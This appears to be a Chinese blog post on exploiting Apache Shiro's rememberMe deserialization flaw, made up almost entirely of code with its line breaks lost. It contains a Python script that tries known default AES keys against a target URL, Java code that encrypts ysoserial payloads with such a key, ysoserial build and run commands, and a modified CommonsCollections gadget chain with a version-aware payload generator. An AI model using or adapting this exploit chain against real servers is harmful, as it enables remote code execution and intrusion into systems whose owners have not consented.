小姐姐带你看Shiro反序列化漏洞利用

import base64import uuidimport requestsfrom Crypto.Cipher import AES
def encrypt_AES_GCM(msg, secretKey):    aesCipher = AES.new(secretKey, AES.MODE_GCM)    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)    return (ciphertext, aesCipher.nonce, authTag)
def encode_rememberme(target):    keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ==']     # 此处简单列举几个密钥    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes
    file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')    for key in keys:        try:            # CBC加密            encryptor = AES.new(base64.b64decode(key), mode, iv)            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)            if res.headers.get("Set-Cookie") == None:                print("正确KEY ：" + key)                return key            else:                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):                    print("正确key:" + key)                    return key            # GCM加密            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])            res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:                print("正确KEY:" + key)                return key            else:                if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):                    print("正确key:" + key)                    return key            print("正确key:" + key)            return key        except Exception as e:            print(e)

git clone https://github.com/frohoff/ysoserial.gitcd ysoserialmvn package -DskipTests

package com.veraxy;
import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.codec.CodecSupport;import org.apache.shiro.util.ByteSource;import org.apache.shiro.codec.Base64;import java.io.BufferedWriter;import java.io.FileWriter;import java.nio.file.FileSystems;import java.nio.file.Files;
public class ShiroRememberMeGenPayload {    public static void main(String[] args) throws Exception {        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("xxx/xxx/test.ser"));
        AesCipherService aes = new AesCipherService();        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
        ByteSource ciphertext = aes.encrypt(payloads, key);        BufferedWriter out = new BufferedWriter(new FileWriter("payload.txt"));        out.write(ciphertext.toString());        out.close();        System.out.printf("OK");
    }}

public class SleepTest {    static{        try {            long aaa = 20000;            Thread.currentThread().sleep(aaa);        } catch (Exception e) {        }    }}

Java -jar ysoserial-0.0.6-SNAPSHOT-all.jar   CommonsBeanutils1 cb-1.9.2 “Calc”Java -jar ysoserial-0.0.6-SNAPSHOT-all.jar   CommonsBeanutils1 cb-1.8.3 “Calc”

public static void main(String[] args) throws Exception{  File file = new File("d:/");  URI uri = file.toURI();  URL url = uri.toURL();URLClassLoader classLoader = new URLClassLoader(new URL[]{url});    Class aClass = classLoader.loadClass("com.veraxy.Demo");   Object obj = aClass.newInstance(); }

package ysoserial;
import java.io.File;import java.net.URL;import java.net.URLClassLoader;
public class UrlClassLoaderUtils {    public URLClassLoader urlClassLoader;    public URLClassLoader loadJar(String gadgetName) throws Exception {        File[] jarspath = getJarsPath(gadgetName);        try{            for(File jar : jarspath){                URL url = jar.toURI().toURL();                urlClassLoader = new URLClassLoader(new URL[]{url});            }        }catch(Exception e){            System.out.println("加载jar出错！"+e);        }        return urlClassLoader;    }
    public File[] getJarsPath(String gadgetName){        String basePath = System.getProperty("user.dir")+ File.separator+"lib"+File.separator;        String directoryPath = basePath + gadgetName;        File directory = new File(directoryPath);        File[] jars = directory.listFiles();        return jars;    }
    public static void main(String[] args) throws Exception {        String gadgetName = "hibernate5";        UrlClassLoaderUtils u = new UrlClassLoaderUtils();        Class a = u.loadJar(gadgetName).loadClass("org.hibernate.tuple.component.AbstractComponentTuplizer");    }}

package ysoserial.payloads;
import ysoserial.Deserializer;import ysoserial.Serializer;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;import ysoserial.UrlClassLoaderUtils;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.net.URLClassLoader;import java.util.HashMap;import java.util.HashSet;import java.util.Map;
public class CommonsCollections10_ClassLoader_plus extends PayloadRunner implements ObjectPayload<HashSet> {    private Class InvokerTransformer = null;    private Class LazyMap = null;    private Class TiedMapEntry = null;    private Class Transformer = null;
    public CommonsCollections10_ClassLoader_plus(URLClassLoader urlClassLoader) throws Exception{        this.Transformer = urlClassLoader.loadClass("org.apache.commons.collections.Transformer");        this.InvokerTransformer = urlClassLoader.loadClass("org.apache.commons.collections.functors.InvokerTransformer");        this.LazyMap = urlClassLoader.loadClass("org.apache.commons.collections.map.LazyMap");        this.TiedMapEntry = urlClassLoader.loadClass("org.apache.commons.collections.keyvalue.TiedMapEntry");    }

    public HashSet getObject(String command) throws Exception    {        Object templates = Gadgets.createTemplatesImpl(command);        Constructor constructorinvokertransformer = this.InvokerTransformer.getDeclaredConstructor(String.class,Class[].class,Object[].class);        constructorinvokertransformer.setAccessible(true);        Object transformer = constructorinvokertransformer.newInstance("toString",new Class[0], new Object[0]);
        Map innerMap = new HashMap();
        Constructor constructorlazymap = this.LazyMap.getDeclaredConstructor(Map.class,this.Transformer);        HashMap innermap = new HashMap();        constructorlazymap.setAccessible(true);        Object lazyMap =  constructorlazymap.newInstance(innermap,transformer);
        Constructor constructortidemapentry = this.TiedMapEntry.getConstructor(Map.class,Object.class);        constructortidemapentry.setAccessible(true);        Object entry = constructortidemapentry.newInstance(lazyMap,templates);
        HashSet map = new HashSet(1);        map.add("foo");        Field f = null;        try        {            f = HashSet.class.getDeclaredField("map");        }        catch (NoSuchFieldException e)        {            f = HashSet.class.getDeclaredField("backingMap");        }        Reflections.setAccessible(f);        HashMap innimpl = null;        innimpl = (HashMap)f.get(map);
        Field f2 = null;        try        {            f2 = HashMap.class.getDeclaredField("table");        }        catch (NoSuchFieldException e)        {            f2 = HashMap.class.getDeclaredField("elementData");        }        Reflections.setAccessible(f2);        Object[] array = new Object[0];        array = (Object[])f2.get(innimpl);        Object node = array[0];        if (node == null) {            node = array[1];        }        Field keyField = null;        try        {            keyField = node.getClass().getDeclaredField("key");        }        catch (Exception e)        {            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");        }        Reflections.setAccessible(keyField);        keyField.set(node, entry);        Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
        return map;    }
    public static void main(String[] args) throws Exception    {        PayloadRunner.run(CommonsCollections10_ClassLoader_plus.class, args);    }}

package ysoserial;
import java.io.PrintStream;import java.lang.reflect.Constructor;import java.net.URLClassLoader;import java.util.*;
import ysoserial.payloads.ObjectPayload;import ysoserial.payloads.ObjectPayload.Utils;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.UrlClassLoaderUtils;
@SuppressWarnings("rawtypes")public class GeneratePayload {    private static final int INTERNAL_ERROR_CODE = 70;    private static final int USAGE_CODE = 64;
    public static void main(final String[] args) {        if (args.length != 3) {            printUsage();            System.exit(USAGE_CODE);        }        final String payloadType = args[0];        final String command = args[1];        final String version = args[2];
        final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);        System.out.println(payloadClass);        if (payloadClass == null) {            System.err.println("Invalid payload type '" + payloadType + "'");            printUsage();            System.exit(USAGE_CODE);            return; // make null analysis happy        }
        try {            UrlClassLoaderUtils classLoaderUtils = new UrlClassLoaderUtils();            Constructor<? extends ObjectPayload<?>> classConstructor = (Constructor<? extends ObjectPayload<?>>) payloadClass.getDeclaredConstructor(URLClassLoader.class);            ObjectPayload<?> payload = classConstructor.newInstance(classLoaderUtils.loadJar(version));            final Object object = payload.getObject(command);            PrintStream out = System.out;            Serializer.serialize(object, out);            ObjectPayload.Utils.releasePayload(payload, object);        } catch (Throwable e) {            System.err.println("Error while generating or serializing payload");            e.printStackTrace();            System.exit(INTERNAL_ERROR_CODE);        }        System.exit(0);    }
    private static void printUsage() {        System.err.println("Y SO SERIAL?");        System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");        System.err.println("  Available payload types:");
        final List<Class<? extends ObjectPayload>> payloadClasses =            new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());        Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
        final List<String[]> rows = new LinkedList<String[]>();        rows.add(new String[] {"Payload", "Authors", "Dependencies"});        rows.add(new String[] {"-------", "-------", "------------"});        for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {             rows.add(new String[] {                payloadClass.getSimpleName(),                Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),                Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")            });        }
        final List<String> lines = Strings.formatTable(rows);
        for (String line : lines) {            System.err.println("     " + line);        }    }}